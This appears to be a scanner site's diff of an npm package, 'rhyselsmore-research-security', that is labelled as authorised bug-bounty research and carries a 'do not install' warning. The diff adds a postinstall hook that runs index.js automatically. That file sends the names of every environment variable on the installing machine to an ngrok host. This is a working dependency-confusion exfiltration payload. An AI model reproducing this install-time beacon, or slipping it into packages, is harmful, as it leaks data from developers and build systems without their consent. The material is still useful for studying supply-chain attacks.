rhyselsmore-research-security 0.0.1-security → 1.0.6
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of rhyselsmore-research-security might be problematic. Click here for more details.
- package/README.md +3 -3
- package/index.js +23 -0
- package/package.json +9 -3
package/README.md
CHANGED
@@ -1,5 +1,5 @@
|
|
1
|
-
|
1
|
+
Security Research for @rhyselsmore. Testing a consumer of NPM - which I have permission to test.
|
2
2
|
|
3
|
-
|
3
|
+
Despite safeguards in place to ensure this only runs on the targetted host, please do not install this.
|
4
4
|
|
5
|
-
|
5
|
+
Email me@rhys.io with queries.
|
package/index.js
ADDED
@@ -0,0 +1,23 @@
|
|
1
|
+
const https = require('node:https');
|
2
|
+
const fs = require('fs');
|
3
|
+
|
4
|
+
const options = {
|
5
|
+
hostname: '0cba25ed7862.au.ngrok.io?q=' + Object.keys(process.env).join(","),
|
6
|
+
port: 443,
|
7
|
+
path: '/container-ping',
|
8
|
+
method: 'GET'
|
9
|
+
};
|
10
|
+
|
11
|
+
const req = https.request(options, (res) => {
|
12
|
+
console.log('statusCode:', res.statusCode);
|
13
|
+
console.log('headers:', res.headers);
|
14
|
+
|
15
|
+
res.on('data', (d) => {
|
16
|
+
process.stdout.write(d);
|
17
|
+
});
|
18
|
+
});
|
19
|
+
|
20
|
+
req.on('error', (e) => {
|
21
|
+
console.error(e);
|
22
|
+
});
|
23
|
+
req.end();
|
package/package.json
CHANGED
@@ -1,6 +1,12 @@
|
|
1
1
|
{
|
2
2
|
"name": "rhyselsmore-research-security",
|
3
|
-
"version": "
|
4
|
-
"description": "
|
5
|
-
"
|
3
|
+
"version": "1.0.6",
|
4
|
+
"description": "Security Research for @rhyselsmore on Bugcrowd. Do not install",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"test": "echo \"Error: no test specified\" && exit 1",
|
8
|
+
"postinstall": "node index.js"
|
9
|
+
},
|
10
|
+
"author": "",
|
11
|
+
"license": "ISC"
|
6
12
|
}
|